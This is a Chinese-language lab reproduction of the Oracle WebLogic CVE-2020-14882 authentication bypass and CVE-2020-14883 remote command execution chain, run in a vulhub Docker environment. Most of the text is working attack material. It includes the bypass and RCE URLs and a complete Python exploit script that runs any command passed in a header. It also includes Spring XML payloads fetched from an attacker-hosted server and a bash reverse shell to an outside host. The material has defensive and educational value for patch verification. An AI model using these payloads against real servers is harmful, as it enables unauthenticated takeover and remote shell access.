0x01 漏洞简介
Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。
- CVE-2020-14882:远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic 管理控制台。
- CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个HTTP请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本:
- Weblogic : 10.3.6.0.0
- Weblogic : 12.1.3.0.0
- Weblogic : 12.2.1.3.0
- Weblogic : 12.2.1.4.0
- Weblogic : 14.1.1.0.0
0x02 漏洞环境
执行如下命令启动一个Weblogic 12.2.1.3版本的服务器:
1 2
| cd vulhub/weblogic/CVE-2020-14882 sudo docker-compose up -d
|
启动完成后,访问 http://your-ip:7001/console
即可查看到后台登录页面。

0x03 漏洞复现
1. weblogic权限绕过(CVE-2020-14882)
攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:
1
| http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal
|

访问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。
2. weblogic远程命令执行(CVE-2020-14883)
结合 CVE-2020-14882 漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。
这个漏洞一共有两种利用方法:
1 2
| 第一种方法是通过com.tangosol.coherence.mvel2.sh.ShellSession 第二种方法是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
|
2.1 第一种方法
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
2.1.1 GET请求方式(无回显)
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:
1
| http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
|
执行docker-compose exec weblogic bash
进入容器中,可见/tmp/success1
已成功创建。

2.1.2 POST请求方式(有回显)
执行命令如下:
1
| python CVE-2020-14882_POST.py -u http://192.168.126.130:7001/ -c "uname -a"
|

脚本源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
|
import http.client import requests import sys import argparse http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle=' 'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = ' '(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = ' 'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField' '("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet' '.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) ' 'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); ' 'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]' '{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result ' '= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter' '("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.' 'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);' 'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));' 'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')
def cve_2020_14882(url, cmd): payload = payload_cve_2020_14882_v12 path = "/console/css/%252e%252e%252fconsole.portal" headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,' 'application/signed-exchange;v=b3;q=0.9', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'close', 'Content-Type': 'application/x-www-form-urlencoded', 'cmd': cmd } try: request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False) print(request.text) except Exception as error: print("[-] Vuln Check Failed... ...") print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap")
if __name__ == '__main__': parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882', usage='use "python %(prog)s --help" for more information', formatter_class=argparse.RawTextHelpFormatter) parser.add_argument("-u", "--url", dest="url", help="target url (http://127.0.0.1:7001)" )
parser.add_argument("-c", "--cmd", dest="cmd", help="command" ) args = parser.parse_args() if not args.url or not args.cmd: sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami') cve_2020_14882(args.url, args.cmd)
|
2.2 第二种方法
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
2.2.1 无回显验证
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,可以自行搭建一个web服务,例如http://192.168.31.66/rce.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/success2]]></value> </list> </constructor-arg> </bean> </beans>
|
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
1
| http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.31.66/rce.xml")
|
执行docker-compose exec weblogic bash
进入容器中,可见/tmp/success2
已成功创建。

上述演示的是Linux版的rce.xml,如果是windows请用下面的代码验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd</value> <value>/c</value> <value><![CDATA[calc]]></value> </list> </constructor-arg> </bean> </beans>
|
2.2.2 反弹shell验证
在攻击者主机上启动NC监听端口
事先准备一台web服务器,放置恶意rce.xml文件
将rce.xml中的执行命令改为如下示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.31.66/7777 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
|
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
1
| http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.31.66/rce.xml")
|
在攻击者主机上成功接收到反弹的shell

参考文章